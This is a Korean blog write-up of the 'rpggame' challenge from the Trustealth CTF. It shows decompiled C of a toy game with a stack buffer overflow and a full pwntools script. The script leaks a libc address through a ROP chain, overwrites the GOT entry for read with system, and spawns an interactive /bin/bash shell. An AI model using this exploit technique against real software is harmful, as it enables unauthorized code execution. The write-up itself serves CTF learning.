ipwn

[Trustealth] rpggame 본문

CTF's/Trustealth

[Trustealth] rpggame

ipwn 2018. 4. 16. 17:51

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 020);
  setvbuf(stdin, 020);
  while ( )
  {
    puts("welcome to the Coder world!\n");
    puts("1.fight");
    puts("2.shop");
    puts("3.trainning");
    puts("4.exit");
    __isoc99_scanf("%d"&cho);
    switch ( cho )
    {
      case 1:
        fight();
        break;
      case 2:
        shop();
        break;
      case 3:
        trainning();
        break;
      default:
        puts("defalt input!");
        break;
    }
  }
}



이 문제는 증말루다가 간단한 문제였다.


int fight()
{
  int result; // eax
 
  puts("hahaha...fight me?!?!?!??!?");
  printf("let's fight!");
  printf("you're power : %d\n", power);
  if ( power <= 800 )
    result = puts("hahahahhahahahahahaha you're very weak!");
  else
    result = winner();
  return result;
}



fighting 함수에서 winner함수로 넘어가는 조건 맞춰주고 rop해주면 된다.


ssize_t winner()
{
  char buf; // [esp+2h] [ebp-36h]
 
  write(1"you're win!\n", 0xFu);
  printf("what's your name ? : ");
  return read(0&buf, 0x1F4u);
}



여기서 그냥 bof 터진다.


int trainning()
{
  puts("let's trainning!!");
  puts("ha,,,ha,,,");
  power += 50;
  return puts("g00d,,!!!\n");
}


여기서 power 값 증가시키고 rop해주면 된다.


from pwn import *
import time
 
#p = remote('198.13.62.9', 5467)
= process('./rpggame')
= ELF('./rpggame')
rop = ROP(e)
cmd = '/bin/bash\x00'
#offset = 0x99a10
offset = 0x9ad60
 
rop.read(0, e.bss(), len(cmd)+2)
rop.write(1, e.got['read'], 4)
rop.read(0, e.got['read'], 4)
rop.read(e.bss())
 
pay = 'A'*58
pay += rop.chain()
 
for i in range(17):
    p.recv()
    p.sendline('3')
 
p.recv()
p.sendline('1')
p.recv()
p.sendline(pay)
p.sendline(cmd)
read_a = u32(p.recv(4))
log.info('read : ' + str(hex(read_a)))
system = read_a - offset
log.info('system : ' + str(hex(system)))
p.sendline(p32(system))
p.interactive()



'CTF's > Trustealth' 카테고리의 다른 글

[Trustealth] sysrop  (0) 2018.04.17
Comments